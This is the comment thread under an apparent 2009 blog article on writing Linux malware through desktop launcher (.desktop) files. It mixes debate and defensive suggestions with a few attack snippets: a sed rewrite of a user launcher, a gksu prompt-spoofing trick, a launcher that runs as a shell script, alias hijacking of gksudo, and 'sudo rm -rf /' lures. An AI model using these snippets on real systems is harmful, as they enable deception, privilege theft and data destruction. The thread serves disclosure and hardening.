Comment by ropers, on 11-FEB-2009 14:18
(0) Minor typos: The package manager is called synaptic, not synaptics
(as you spelled it some of the time above). You may want to fix that.
(1) What you wrote about getting root above relies on messing with /
usr/share/applications/synaptic.desktop. That constitutes a chicken
and egg problem, because:
$ touch /usr/share/applications/synaptic.desktop
touch: cannot touch `/usr/share/applications/synaptic.desktop':
Permission denied
However, all is not lost. At least in Ubuntu, users appear to have a
~/.local/share/applications/ directory, possibly opening the door to
something like this:
sed -i 's:/usr/bin/update-manager:echo pwned!|wall:g' ~/.local/share/
applications/update-manager.desktop
I suspect that this folder, as .desktop files themselves may be
Freedesktop.org standards (cf. http://en.wikipedia.org/wiki/Freedesktop).
(Freedesktop.org may also be the right guys to talk to in order to fix
this correctly by requiring execute permissions for .desktop files, as
you suggested.)
Also, I wonder if it may still be possible to tell the system to just
execute a custom program in lieu of a system binary. If so, then one
could go straight for the jugular and try to convince the system to
execute an own script instead of gksu/gksudo by defining an alias
(aliases take precedence, as "which" can verify). If one could source
whatever alias definitions one has changed so that they also apply to
all of the user's already currently running sessions/terminals, then I
suspect that the next time gksu/gksudo is called, the attacker should
be in business. The fact that many systems such as Ubuntu quite
regularly run their update manager and prompt the user to update, and
call gksudo in the course of such an update installation may even work
in the attacker's favour.
Comment by David F. Skoll, on 11-FEB-2009 15:00
*sigh* I've confirmed that Thunar (the XFCE file manager) hides
the .desktop extension and runs the desktop command by default when
you click on the icon.
Ditto Nautilus, the GNOME file browser.
Konqueror doesn't hide the .desktop extension, but it does execute the
command.
Congratulations, "Integrated Desktop" developers. You have just
managed to recreate one of the worst design flaws of Windows: The
encoding of file metadata ("executableness") in the file name
(".desktop")
Well, it's a good thing I'm a grumpy old UNIX type who likes X because
I can have lots of terminals open. No "file managers" or "desktop
environments" for me, thanks.
Author's note by foobar, on 11-FEB-2009 15:26
@ropers:Actually, I know that you can't write to /usr/share/
applications/. However, as I pointed out in my article, ~/.local/share/
applications is exactly the place where you would write your own
definition in order to overwrite the system default.
Maybe you missed that? But I did mention that in the article already.
Author's note by foobar, on 11-FEB-2009 15:28
@David F. Skoll: Yes, Thunar hides the .desktop extension as well.
However, if you have saved this file (I tried from within Thunderbird
as well as Firefox) Thunar somehow figures out that this is not quite
legit. In that respect it manages to protect users better than the
Gnome and KDE file managers.
However, I haven't tried creating the launcher file by hand. Maybe if
manually created Thunar doesn't quite catch the problem?
Comment by Michael H., on 11-FEB-2009 15:56
I really hate the "Linux has a lower market share" myth.
Don't forget how many servers run Linux and how important those
services are: Wikipedia, Facebook, Google, NYSE, TSX, Chrysler, IBM
(develops it), Intel (develops for it and uses it internally), etc.
Don't you think if a virus was able to successfully propagate to these
servers there would be more damage done than on some user's PC?
Comment by friends of the one law, on 11-FEB-2009 16:46
An outstanding article of high merit indeed.
One point, however, invites closer scrutiny:
"However, there is nothing fundamental about the architecture of Linux
that prevents user stupidity or ignorance..."
There exists one aspect in which linux passively discriminates against
'user stupidity or ignorance'. [This doesn't 'prevent' user deficient
characteristics - it merely fences out those less competent from using
linux to begin with.]
The installation and/or maintenance of a basic linux desktop requires
a level of knowledge _and_ intellect somewhat more developed than that
required for a basic Micro$oft product.
Micro$oft specifically designs their products toward the
lowest_common_denominator intellect in order to maximize their market
$hare.
Nothing wrong with that approach (in a business geared toward global
domination) of course.
This means that any moron who knows how to read, write, and count to
nine on his fingers can install Window$ and operate it as an OS.
That is specifically what net criminals count upon. There is
inordinately more money more easily had poaching from the seething
masses too dumb to use linux than there is by spending endless hours
developing reticulated malware to exploit the desktop of those who
have at the least a linux OS and more than likely (by habit and
disposition) have additional safeguards (such as differentiated data
storage) and probably not much worth stealing or wrecking anyway.
linux is not a guarantee of security but being competent enough to use
it is almost in itself a higher measure of some note.
linux (the OSes) lacks the lower_common_denominator impetus Micro$oft
has (with the notable exceptions of Ubuntu and, to some lesser extent,
RedHat which are somewhat 'dumbed down' in favor of market share).
linux software (again with the notable exceptions of Gnome and to a
lesser degree KDE) is far less friendly to noobs and stray
experimentation. Many packages require not just knowledge but an
almost MENSA-level intellectual ability to solve problems in order to
be able to use them. Not all, just the ones you desperately need.
(need we mention drivers?)
Still, the main points of the article deserves more attention than
given by the Ubuntu/Redhat respondents mentioned.
That a virus/trojan can 0wn your system means we who use linux need to
raise the bar just a bit higher to avoid the vulnerabilities usually
associated with Micro$oft.
x
Comment by seriouslycgi, on 11-FEB-2009 18:03
One thing you pointed out was a logger to gain root. in gnome and kde
when the user needs administrative rights it freezes the desktop and
pops up a password prompt, what happens here? is there a security
mechanism that prevents anything but the application to know whats
being typed? or is it just for show? it would be a good idea if there
could be a security feature where no shell can "sudo" or "su" unless
you opened it from the desktop with a launcher and that password
prompt coming up, locking the desktop, and all user applications
(including your malware), encrypting the keystrokes at the lowest
level (so a logger cant capture it while its frozen :S ), and all this
if you are in any desktop environment or X. this would limit the
attack to only the user but put inconvenience a little bit ahead, and
if there was a key logger they wouldn't get root (in this respect sudo
is not safer). in some distros I've seen the launcher for a root
terminal that freezes the desktop. make this the only way to get su or
sudo in a D.E and the machine is safe from key loggers. I think pretty
much nothing can be done to prevent a user from installing/executing
their own virus/script apart from attachment scanner and real time
scanning of executables and scripts, this is why i left windows, and I
don't execute unless I know what it is.
Comment by David F. Skoll, on 11-FEB-2009 23:57
@foobar: I suspect Thunar looks at the "exec=" line and won't start
the program if it "looks" funny. Because I tried with a
legitimate .desktop file and it launched without incident.
Trying to tell heuristically which desktop files are dangerous and
which are not is an exercise in futility. I e-mailed the security
contacts at kde.org, gnome.org and xfce.org. Let's see how seriously
they take this.
By the way: In my May, 2002 article, I wrote:
"There is a trend under Linux to build complex, rich desktop
environments which allow rich interaction between programs. These
environments could, if not designed correctly, increase the chances
for viruses to execute and propagate. So far, however, the designers
of these environments seem to be following sensible design and
security procedures. No-one, for example, has built a Linux e-mail
client which automatically executes an attachment with just one mouse
click."
I guess it's time to delete the last two sentences in that
paragraph. :-(
Comment by David F. Skoll, on 12-FEB-2009 00:00
One more thing: This whole fiasco could have been avoided (plus
countless lines of coding in Konqueror/Nautilus/Thunar been saved) if
the format of a .desktop file had been:
#!/usr/bin/desktop-launch
[rest-of-file-here]
Then you'd just chmod +x the file and file managers wouldn't have to
do anything special with it. One of my gripes about KDE and
(especially) GNOME is that they almost delight in ignoring decades of
UNIX heritage. "Small tools that do one thing well" no longer seems in
vogue. :-(
Comment by Sanjaya Yogi, on 12-FEB-2009 01:16
A very interesting post! How about a challenge for everyone, take the
opposite approach, and propose step by step "hardening" of the linux
host to prevent this type of attack.
I think a whole blog of types of security attacks and their respective
defensive counterparts...
Any ideas or links?
Comment by The Open Sourcerer, on 12-FEB-2009 01:18
Thanks for this. It is a very well thought through piece. And
something that definitely needs to be looked at upstream by the
desktop projects. I will probably cover this on my blog later too.
One way of limiting your vulnerability to "root" attacks is to never
run your normal desktop user as the user in the sudoers file. I have
two accounts on my Ubuntu PCs. One is my daily working user - no admin/
sudo access. The other is just for performing updates and admin tasks
etc.
Comment by diddy, on 12-FEB-2009 02:07
I installed wine and then got a friend (network manager) to email me
over 100 meg of viruses from his repositry.
I then double clicked on each one trying to run them but not with much
luck
I kept getting errors like 'unable to find kernel32.sys' etc errors.
Needless to say my cpu usage went to about 70% but none on my contact
list got hit and no files were damaged on my pc.
How boring was that, Why should windows users have all of the fun ?
Still I am glad that I tried it out.
For reference purposes I used viruses like Nimda, sobig etc
did I have antivirus software installed..... nope !
Comment by Felice, on 12-FEB-2009 02:20
Sorry, but I find the whole story pointless. There will never be any
protection against the user's stupidity, and given some stupidity for
granted, there are much less complicated ways of damaging a computer.
You can just prepare a professional looking web page and offer a very
interesting .deb or .rpm package to be downloaded and installed. For
instance a special codec to see a short video in an unusual format.
If the description is clever enough, the stupid will install, and
BANG!
Are we only and exclusively installing packages from the official
distribution page ? Me not, I would never copy an attachment from
"somebody" to my desktop and open it, but I could easily try an
interesting utility from the so called "community". Even if
distributed as source code. (Do we all carefully read and understand a
100k C source before compiling ?)
On the other side, Linux is very different from Windows in that you
cannot easily and silently infect a PC just passing by a malicius web
page while surfing. This is the REAL danger, what works underground
without your intervention at all. From this point of view, I feel
quite safe.
About my percentage of casual user-stupidity, like deleting important
files, formatting the wrong partition, downloading a cosy utility etc
etc, I simply take it into account. For such cases, only a good and
multi-stage backup system can protect my PC from myself.
Comment by Diego L Espiñeira, on 12-FEB-2009 02:27
In my opinion, the root of the problem is in the combination between
software and people beliefs.
Source code and software changes a lot faster than the people beliefs
and conceptions.
Comment by Phil, on 12-FEB-2009 02:46
You seemed to have gone through a lot of trouble and explanation for
nothing unless theres is something I'm not thinking about.
Your attack is based on the idea that a person will foolishly click on
something or follow the instructions in an email. If the user is that
naive then why do you need all these methods to attempt to mask what
you are doing. This same user would most likely save and click a .DEB
or .RPM, enter their password if requested and let it install. They
don't know what its doing. I remember also seeing the web .DEB install
that lets you click on a link in a web page and go straight into the
package manager. An HTML email would accomplish this. Or why bother
tricking them with a launcher. Simply put in the email that they must
right click and check the make executable box on the permissions tab.
Thats no different than the instructions that tell you to click run in
Windows or click the yellow bar at the top of IE.
It really does seem that this article goes out of the way to try and
find some covert attack methods just to say Linux is not secure when
there are much simpler ways to accomplish the same task. Any system
that allows someone to execute something can be hacked. In essence the
system is only doing what you asked it to do. There aren't many ways
for it to determine that this is not what you really wanted it to do
except for asking and even then a user can continue to say yes due to
lack of understanding or a burning drive to see the nude photos. If
you ask a computer to install malware then it will.
However I still believe that Linux may be better suited to deal with
this issue though it can never completely be eradicated. For instance
wouldn't it be simple to fix the laucnher issue by forcing them to
respect file permissions and not execute a script that does not set to
be executable? But even still you will always have the stupid user
that will go and make the script executable. Once again a computer
will do what its told.
I'd also like to know how well SELinux and AppArmour are able to
protect against these types of issues. They are hard to configure now
but what if standard profiles were kept in repositories and updated as
new malware threats are discovered.
Comment by Maternitus, on 12-FEB-2009 02:51
Thank you for this interesting article. I use Linux for quite some
time (7 years) and I know that there are virusses for Linux. And lots
of them.
Years ago I read an article about the virus-subject and the author
totalled the amounts of virusses that were known for every OS (and
appeared just that year).
Linux won, but after that, rather depressing, list the author also
explained why that was. Alot of virusses for Linux are made just to
test out the weak spots, in order to improve them and make them
resistant for it. From the perspective I just felt more secure,
because I knew that in the Linux communtity the reaction speed to fix
any vulnerability is high.
But anyway, I never understood how such a thing was made and it taught
me some insight on the workings of the OS. It will help me using the
software in a better and even more responsible way.
Thanks again.
Maternitus.
PS Before I switched 7 years ago, it was Windows that slowed down my
machines, so as a second nature I still never open any attachments
from email, except the mails from those I trust... In that way Windows
can be a good thing, how evil it even may sound. ;-)
Comment by Caleb Cushing, on 12-FEB-2009 02:58
All this is true, but linux does have some advantages... in linux
viruses are easier to clean up, at least if they don't get root. that
wouldn't make them any less pesky for users... but a tech would have
less problems cleaning them up.
a /tmp virus can be prevented by making a separate /tmp partition an
making it noexec. actually... I think... it might be possible to
mount /home as noexec. I should try it and see if I have any problems.
Comment by Pablo Manuel Rizzo, on 12-FEB-2009 03:01
jajaja! That's not a virus!
Comment by CT, on 12-FEB-2009 03:14
Nice article, but it's a bit late, don't you think? For the last 10+
years the rumor of "no Linux virus" has continued. If you can script
and know the ins and outs of the Desktop GUI, then you can create bugs
easily. The key, as you mention, is that the core (the OS itself) is
separate, and therefore more secure. And so on ...
Anyway, this a well written piece and I do think that new users need
to be reminded constantly to not turn a blind eye to security.
Comment by Charly G., on 12-FEB-2009 03:37
Just wondering... why e-mail clients don't issue some kind of warning
when an attachment has multiple dots in its name? It doesn't solve the
problem, but at least gives a little more awareness.
Comment by s.plisskin, on 12-FEB-2009 03:43
So basically he is saying Gnu/Linux can be infected if the user bends
over backwards to allow it to infect his system by running through
several hoops to accomplish.
Anyone this stupid deserves to be infected.
Comment by hoho, on 12-FEB-2009 04:33
wow what a virus, i wrote a new one:
enter irc #ubuntu channel and tell a newbie:
write in a console
echo "im going to see a nude woman"; sudo rm -rf /
Comment by ken, on 12-FEB-2009 04:44
Nice! You have just done what the news today tells Al Qaeda! Exactly
how they can bring down the US.
So why not you tell how we can bring down linux.
anybody using linux that really understands will then no this will be
the perfect breeding ground to launch and receive from. Far easier
than writing one for windows. You don't need to be root and you don't
need 5 easy steps. Those who no will tell you 1 step is all you need.
You say that can't be? think again.
All these linux distro's will then have the sheet pulled right from
underneath them
Trust me, its just that easy. so easy that all it will take is just 1
person with enough nerve to follow through. Or one person to discuss
it........
Comment by lalan, on 12-FEB-2009 04:52
Great article!
I think that someone who tells that he never thought that Linux is
"virus/mallaware/trojan" free is lying.
I think that KDE control center or kpackage for example have a great
approach to deal with "gksu stuff". They call the KDEsu from the app
only when you need root privileges. Doing this you cannot insert the
script to run as root.
Despite this, it true that root privileges are not the only way to
make some trouble, totally agree.
Author's note by foobar, on 12-FEB-2009 05:27
@David F. Skoll: I like the idea with #!/usr/bin/desktop-launch. Very
*nix-ish. Or at least execute bits.
Author's note by foobar, on 12-FEB-2009 05:29
@The Opensourcerer: About not running your normal desktop user in the
sudoers file. Good idea! Sadly just not the default in a popular
distro like Ubuntu. And of course that still doesn't protect you from
being infected (on the user level), since you don't really need root.
Author's note by foobar, on 12-FEB-2009 05:35
@Felice and @Phil: You are both suggesting that what I am describing
here is overly complicated and that instead a user could be infected
by a well-written .deb or .rpm file that is offered for download on a
web-site. How did that user get to the web-site, though? An email with
a link in it? Anyway...
You are both missing the point.
In order to install anything on Linux you will need root or at least
sudo. Thus, any attempt to do this will prompt you for your password.
It is also easily rendered useless by a properly managed security
policy within a large enterprise, whereby desktop users are not in the
sudoers file. Instantly, your entire .deb and .rpm based scheme fails.
What I outlined here does not require ANY sudo or root privileges in
order to still successfully infect a machine (or at least a user's
account). The discussion about getting the root password was moved
into an appendix, since it is not relevant for the working of the
actual infection.
Author's note by foobar, on 12-FEB-2009 05:37
@Caleb Cushing: Linux does not only have 'some' advantages, it has
many!
But making /tmp noexec isn't important and also doesn't prevent
anything. See in the step-by-step guide? There the bash commands
create the drop-directory first within the user's directory, so /tmp
is not needed at all.
Author's note by foobar, on 12-FEB-2009 05:39
@ken: So, not telling is better than disclosing? That's called
'security through obscurity' and it doesn't work...
Author's note by foobar, on 12-FEB-2009 05:42
@Pablo Manuel Rizzo: Jajaja! We know all that! Please consider some of
the other comments about that topic.
Comment by David F. Skoll, on 12-FEB-2009 05:55
So... it turns out this attack was pointed out by Jon Corbet in 2006:
http://lwn.net/Articles/178409/
Unfortunately, the desktop environment developers ignored that and
chose convenience over security. I guess they were just copying Micro
$oft.
Comment by whatever, on 12-FEB-2009 06:06
Launch a file by association? Wow... You are brilliant. /sarcasm...
You are about 15 years behind...All of these can be turned off.
Author's note by foobar, on 12-FEB-2009 06:26
@David F. Skoll: Yes, I had just found out about that myself. See the
'update' notice I added at the end of my article.
Comment by Mackenzie, on 12-FEB-2009 06:43
Well jeez, might as well just send an email that says:
"forward this message to 10 people then do 'sudo rm -rf /' and you'll
get 10 years good luck!"
And claim that's a virus too.
Most Linux desktops are not as stupid as Windows desktops. They don't
have a mail server running on the box, so how would it procreate
again?
And by the way....talking about viruses and yet you require
Javascript? Seriously? Anyone even remotely security-conscious knows
Javascript is something you don't want to have enabled.
Comment by Mackenzie, on 12-FEB-2009 06:49
Also, this would be a trojan not a virus. Viruses are written by
people that have found real remote exploits. Trojans are written by
those who give up on finding a remote exploit and resort to social
engineering.
Comment by Mackenzie, on 12-FEB-2009 06:51
Maternitus:
Those are Proof of Concept viruses. They were never in the wild. The
total count for in the wild viruses for Linux is less than 30, I
believe. They also have an average infection rate of something like 20
machines.
Comment by bud freeman, on 12-FEB-2009 07:23
(yawn) Another suppos-ed , self-professed security professional who
claims that he knows the difference between a malicious script and a
virus, but since the media has muddied the waters, you can perpetuate
the confusion, too.
That attitude speaks volumes towards your credibility as an expert in
security.
(yawn) As more people adopt Linux, the bad guys will be more likely to
target Linux.
As more people adopt Linux, its security is more likely to be
improved, since it's open source, and it's flaw are more likely to be
discovered and fixed (since there are more bad guys than good guys)
Here's a script, 2 lines, that if you can trick someone on any Linux
system, with passwordless sudo, to run, that will wipe their system:
#!/bin/bash
sudo rm -rf /*
Which begs the question:
So what?
At the end of the day, you're saying that Linux is not secure because
you can fool people?
(yawn)
cheers,
Comment by Flimm, on 12-FEB-2009 08:41
It's worse then that. You can make gksu tell you it's running a
program when it's actually running another.
$ echo "[Desktop Entry]" > ~/fake.desktop
$ echo "Name=/usr/sbin/synaptic" >> ~/fake.desktop
$ gksu --desktop ~/fake.desktop virus
The last command would only tell you:
The application '/usr/sbin/synaptic' lets you modify essential parts
of your system.
Insert that command into synaptic.desktop, and a user would never
notice the difference until too late.
Author's note by foobar, on 12-FEB-2009 09:04
@bud freeman: Sorry, but you are the one who is boring here.
Firstly, the point of the article is that the user does NOT need to
know how to start a shell or set execute bit. The non-technical users
who are vulnerable here don't know how to do that! Did you miss that
completely obvious point, which most other readers instantly
understood?
Secondly, you can comment on my credibility as a security expert
(which I never claimed I was) all you want. Until you are able to get
a simple point like the one above - or actually read the full article
- you are the one without credibility, since you are appearing very
dense indeed.
Get off my lawn!
Author's note by foobar, on 12-FEB-2009 09:07
@Mackenzie: As mentioned earlier: Telling people in an email to open
their terminal and type stuff, and expecting them to know how to do
this, is not going to help your attack. Firstly, your example sucks
because it assumes that people properly know how to order this: FIRST
send ot the emails, THEN erase your own harddrive. Think about the
details, please.
Also, before commenting, please read the entire article. If you would
have done that, you would have discovered that I am explicitly
addressing this 'most Linux users are not as stupid as Windows users'
argument.
Come back once you have read that, please.
Comment by TripleII, on 12-FEB-2009 09:27
You don't know what a Virus is. A virus is a piece of software that
installs, propogates/replicates on a users system with no user
intervention through a security exploit in a program or the underlying
OS itself.
http://en.wikipedia.org/wiki/Computer_virus
A computer virus is a computer program that can copy itself and infect
a computer without the permission or knowledge of the user.
You have outlined a possible way to more easily write "malware" which
requires user intervention, and as outlined a whole host of
conditions, etc. You should update your title though, this is as much
a virus as "hit your own head with a hammer" is a stealth way to get
the user to be hurt.
TripleII
Comment by TripleII, on 12-FEB-2009 09:45
And to be fair, on Windows, where people do a disservice mixing and
matching Virus with Malware/Trojan with Spyware all rolled into a
"Virus" as if they are all the same results in an inability of users
to prevent infections. A very large percentage of "Viruses" on Windows
are actually malware programs, but since they are called Viruses, they
NEVER LEARN that it wasn't a deficiency in AVG but their own unwitting
installation of the trojan.
You may pooh pooh this as a silly distinction but I have known users
who actually BELIEVE that their AV scanner means they can install
anything since, if it is Virus infected, their AV program will detect
it and they are fine. Since it's all "A Virus" (when discussing the
entire spectrum of online threats) they are free to "do anything" as
long as Norton is up to date.
Now, whether you can see the above or not, and you do create very
valid points in malware production, Geeks need to be technically
accurate.
TripleII
Author's note by foobar, on 12-FEB-2009 10:04
@Triplell: Read my reponse to your comment in the follow up [
http://www.geekzone.co.nz/foobar/6236 ] , please.
Author's note by foobar, on 12-FEB-2009 10:07
@s.plisskin and @hoho: You are not getting the point: The article
describes how a user can be infected WITHOUT bending over backwards
and without having to know how to start a shell.
How many times do I have to repeat that? Any step that you can take
away from the infection makes it easier and more successful. Non-
technical users don't know how to run the shell, so this here is
definitely making an infection easier.
My goodness, people. Wake up!
Comment by SPM, on 12-FEB-2009 11:27
You are talking about trojans here not viruses. The problem with
viruses on Linux (or Unix or Mac or BSD for that matter) is that there
aren't any that have been successful at replicating in the wild -
EVER. Not a single one. Of course that is not an excuse for
complacency.
The bottom line though: the proof of the pudding is in the eating.
Comment by Shane Kerns, on 12-FEB-2009 12:05
Nice introductory article on the security issues of Linux. I have been
a Linux junkie for over a dozen years now (self proclaimed of coarse )
and I must admit that you make very valid points. Although you must
have realized that whatever you have mentioned here is a function of
user ignorance.
What you should focus on is the fact that MS products are more
susceptible due to the fact that they can execute any code or
executable as any user. Their kernel is built that way.
No one suggests that Linux is 100% virus or trojan or malware free. To
make my point lets say that half the servers in the world ran XP/Vista
servers and half the world ran Linux servers (pick you distro and make
each group as secure as you possible can) now which half do you think
would be hacked first and what do you think would be the time lag
between the 2 groups.
My guess (and personal experience) is that it would take about a week
longer to break the security of a Linux server.
People say there are far more personal computers running some Windows
OS than there are people running a Linux OS which is why more Windows
PCs are hacked, but what do you have to say about the server side. The
opposite is true when it comes to servers yet more Windows servers are
hacked. Why do you think that is?
Comment by oiaohm, on 12-FEB-2009 12:43
Ok someone missed a protection. .desktop file through email client is
quite simple to prevent. Filtering.
Thanks for a great article. Mind considering get it included in this
http://www.linuxsecurity.com/resource_files/documentation/virus-writing-HOWTO/_html/index.html
.
Its basically a reference document that is used when designing Linux
secuirty.
Author's note by foobar, on 12-FEB-2009 12:53
@oiaohm: Actually, please see the follow up: The .desktop extension is
not strictly necessary for this to work.
Sure, please feel free to include a link to the article in the virus-
writing-HOWTO.
Comment by roger, on 12-FEB-2009 17:11
Why is it so damn hard to make a virus infect a desktop machine? I
lost interest before barely reading through half of the article! Its
sounds so complicated.
Comment by Mackenzie, on 12-FEB-2009 19:31
@foobar:
I did read it. The point is, this is NOT A VIRUS! At least change the
title to say "Linux trojan" so you're factually accurate!
Social engineering is not a technical problem. It is a human problem.
This thus has nothing to do with the OS or desktop environment. I was
trying to demonstrate that all you're doing is telling someone "please
do something stupid for me" and hoping they comply.
Yeah yeah I saw the bit about Linux users being as stupid as Windows
users. I'm not disputing that there are computer illiterate folks on
every platform. Hell, my mom uses Linux. That's NOT the point though,
because stupid users are not the OS's problem. Stupid users are their
own problem. They'll end up as candidates for the Darwin Awards
anyway.
Comment by Matias, on 12-FEB-2009 21:08
I have strongly critisized virus/malware/worms-issue coz actually much
bigger problem for desktop/laptop computere are "normal" bugs.
This hysteria is rather similar than this painfully boring "man-made
global warming" issue. Only winners are those norton's or f-secures's
etc who are leading this bandwagon. BTW i agree the critics against
"windows-style" filemanagers and desktops. Now i undestand why my
teacher of C/C++ was so furiously against graphical "nice looking"
desktops. Mouse-clicking "liberty" is just pain is ass.
Comment by Romanic, on 12-FEB-2009 23:25
An interesting article, thank you.
"* Linux as the core OS is more secure"
Out of curiosity, what is your data or reasoning for that?
Architecturally, since NT, Windows seems to have had a good security
model and MinWin seems to be a positive change. Other security
measures seem to keep improving too.
Since Vista, the much-maligned UAC has made running as standard user
fine, even with all the poorly designed software out there which
relies on administrator privileges.
"The hapless user double-clicks on the attachment, which Windows – in
the absence of some decent anti-virus software – will obediently
execute."
My mail app has prevented this for a long time. Now there's UAC too.
"Often, the published vulnerability list for Linux includes those of
the many available or bundled apps, while those for Windows only
include those of the core OS, that should also be taken into account."
For interest, here's a comparative OS security report that splits out
the bundled apps to be equivalent to Windows.
-
Disclosure: It matters to some people, so I'll mention that I work for
Microsoft in NZ. My opinions are still my own. I hope. :-)
Comment by g fernandes, on 12-FEB-2009 23:38
As pointed out in the LWN comments (http://lwn.net/Articles/318755/),
the gksu hack won't work on Red Hat family systems.
Also, one must remember that at the end of the day, no amount of good
engineering (in an OS, DE or any other software program) will do away
with the danger of social engineering attacks.
Your "virus" effectively exploits PIBKAC, as do phishing attacks etc.
The solution is not imprisoning the user's flexibility on a DE/OS. The
solution is user-education.
Comment by Daniel, on 13-FEB-2009 00:47
Well, your method is far more overcomplicated imho.
It is much more simple to create a script (can be obfuscated enough to
hide its real job), send as attachment and ask the user to run it even
with root privileges. No need to mess with .desktop files.
"Against stupidity the gods themselves contend in vain."
Comment by alinuxuser, on 13-FEB-2009 01:33
I love that article! Here is my recipe for a virus:
1. Buy a 2 kg steel hammer and a box
2. Use the hammer to hit one of your fingers (your choice which one)
3. Put the hammer and the printout of my recipe into the box and send
it to somebody.
4. IF the recipient is stupid enough to open the box, read the recipe
and execute it we have the REAL LIFE VIRUS!
There is no way you can protect someone from shooting his own foot if
he really wants to do it! Is it normal practice that you're saving/
executing whatever comes to your email box?
--
www.pld-linux.org
Comment by Maxo, on 13-FEB-2009 02:08
I had already thought about this too. I don't see it as a big deal at
all. The idea that a user can install software at a user level that
can do what it wants within that user level is not a big deal and I
would not want an OS that prevents that.
One thing you may not have thought about, at least I had not, is that
the malware could use a keylogger to caputre the password when a user
tries to run something like Synaptic, and then it would have full root
to do whatever it wanted.
Comment by Colin, on 13-FEB-2009 04:12
This is how Thunar does:
http://www.google.com/codesearch/p?hl=en#06L7Y7xwnvI/Thunar-0.8.0/thunar-vfs/thunar-vfs-io-local.c&q=x-thunar%20suspected-malware
Looks whether the file tries to look like another mime type.
Comment by asr, on 13-FEB-2009 04:20
Hey
I found the way to turn the .desktop file into an executable
shellscript by itself, thus you don't need to wget the script:
========= file test.desktop =============
Ignore= /tmp/x2 ; sh /tmp/x2'
Icon=x-office-document
Type=Application
EOF
# Anything from here is run as a regular shellscript
# by asr
echo 'PWNED!!!!!!' > /tmp/lol
===== end of test.desktop =========
Comment by asr, on 13-FEB-2009 20:08
Mi previous message has been garbled by some text filter :(
It should start by Ignore=<
and then a regular .desktop, plus EOF, then the shellscript
Comment by m0rebel, on 14-FEB-2009 14:16
Nice article! I saw you added an update saying you're surprised if you
came up with these attacks on your own. I haven't thought of the gnome
and kde desktop launchers, but just a couple days ago when I started
my own blog I posted about the changing the path to sudo trick here:
http://blog.banditdefense.com/2009/02/06/sudo-install-my-rootkit/
Comment by Benjamin, on 14-FEB-2009 22:51
Thanks a lot for opening my eyes ! I was like almost everybody "I
don't care about security in Linux, it's so safe....well, my foot !"
Can I translate your article for my french Linux blog please (in order
to make frenchs aware of this) ?
Anyway thanks a lot for this article !
Comment by Gnothi, on 15-FEB-2009 00:56
Why do FUD-meisters abandon common sense when talking about Linux?
Never download and run an untrusted file. PERIOD.
No friend, no law, and no OS can protect someone from their own
stupidity. This so-called flaw resides between the keyboard and the
chair (i.e. the end-user), not within the PC.
Next, foobar will write a glowing endorsement of the surveillance and
censorship spyware (DRM) that's built into the Windows 7 kernel, which
allows Microsoft to police whatever you're doing with your PC. Yeah,
let Big Brother protect you from yourself!
;)
Comment by Gurgle, on 16-FEB-2009 01:56
Are we heading towards AV packages running on Linux then?
Would an updated AV help stop this 'file' getting onto your system in
the first place (once the 'file' is known)?
Comment by Tutal Kaboo, on 16-FEB-2009 13:02
I thought a couple of things (that I do) helped prevent me from being
susceptible to viruses.
1. I'm never logged in as root/administrator unless I want to do
something specific that requires that privilege
2. I'm not part of the Administrators group on Windows and I'm not in
sudoers on Linux
But, your article points out that my machine need not be infected, it
is sufficient if my account is infected.
Great article!
Comment by rüya tabirleri, on 16-FEB-2009 21:53
thank you
really nice sharing
replicate this type of quality web sites have to think
Comment by Dutra de Lacerda, on 18-FEB-2009 08:01
The 1st OS I have used, was a UNIX version in a MultiUser environment.
I build a viral script to get control over my mates resources. The
main reason was to avoid them to do that to me. Never really used it
to profit time-share.
This was in 1993. And never exploited other possibilities, neither
evolved after that as the purpose was just to be defensive, and just
for a small period of time.
I've moved to DOS in PCs. Much faster environment, even with the old
8086 CPUs.
This just proves the point.
And reminds there's NO secure system, if it has flaws (build or in the
configuration).
Assuming security because the alternatives are known as insecure, is
an invitation to serious problems in future (unawareness is NOT
safety, just a pleasant state in illusion)
Comment by ethana2, on 18-FEB-2009 08:21
I have a ~/.bashrc packed full of handy quick system administration
commands.
..I chown'ed it root.
....it should ALWAYS be owned by root; that's a dangerous file for the
user to own.
Comment by manuel, on 18-FEB-2009 08:29
Wouldn't setting the attributes "noexec, nosuid" on the /tmp and "/
home" partitions help to circumvent the issue?
If so, it could become the default behaviour of most Linux distro's
installers.
As far as I'm concerned, I set those on the "/home" partition for I
consider a regular user doesn't have to execute things/apps/scripts
from its own "/home" folder!
I did this for my wife's computer as she is unaware of the potential
risks... worse, she doesn't want to know... for her the computer must
just work and the rest is none of her concerns...
Now that I've read your excellent article, I'll also protect the "/
tmp" partition.
Thanks for the brilliant demonstration!
Cheers,
Manuel
Comment by Anonym, on 18-FEB-2009 09:14
OMG... "How to write a Linux virus" and then you are talking about
_Desktop envinronments_ not about Linux operating system!
The Linux kernel is THE operating system. Nothing else belongs to
operating system than the Linux kernel itself. If you want to write a
malware for operating system, it should infect the Linux kernel, what
is the operating system.
But I give you way to escape by assuming that you meant "How to write
a virus in 5 easy steps what can be ran by Linux, SunOS, FreeBSD and
many other Unix/*nix operating systems".
The most important, and the only important is that this is about Gnome
and KDE functionality to run .desktop files. Not about Linux operating
system running those, because the OS still just executes all the code
what the other softwares ask it to do.
Do not spread the political and marketing propaganda about "Linux" or
"Linux operating system" being more than the monolith kernel itself.
That is very stupid and lame.
Author's note by foobar, on 18-FEB-2009 10:02
@Anonym: Did you even read the article? Probably not very thoroughly.
Firstly, I am stating there very clearly that I am talking about Gnome
and KDE vulnerabilities. Secondly, if you look at what commonly is
called 'Linux virus/worm' or 'Unix virus/worm' (go ahead, google it!)
you will find that most (all?) of them are exploiting a vulnerability
in a server process or some other program that is run on top of the
OS. Yet, they are called a 'Linux worm/virus' or 'Unix worm/virus'
because it impacts systems with those OSs (which run those apps, of
course).
So, next time please stop and think for a second before you start
typing...
Comment by Matthew C. Tedder, on 18-FEB-2009 12:05
Here's one of your bugs: Between the "curl" and "python" commands,
you'll need "&&" and not just ";"..
This isn't exactly a big insight--I'm sure just about anyone who has
pondered writing malware for Linux has gone down this lane. It's
obvious.
The main problem with it (besides your own bugs): With each step or
pre-requisite tool, you loose exponentially more possible targets.
You'd be very lucky to get one person infected out of any user's email
list.
(1) How many people will download onto the desktop and click on the
link..
(2) How many people have curl installed..
(3) How many people have python installed..
(4) How many people are using a mail client that uses the mailbox
standard for reading in the address book?
Automatically installing the pre-requisites would require sudo (hence
root privileges).
I think it is a good idea that the standard for desktop links between
KDE and GNOME also require to be executable... But even without, you
cannot realistically expect any growth in the spread of your trojan.
You might fool a buddy or two... someone who knows and trusts you.
Matthew
Author's note by foobar, on 18-FEB-2009 12:17
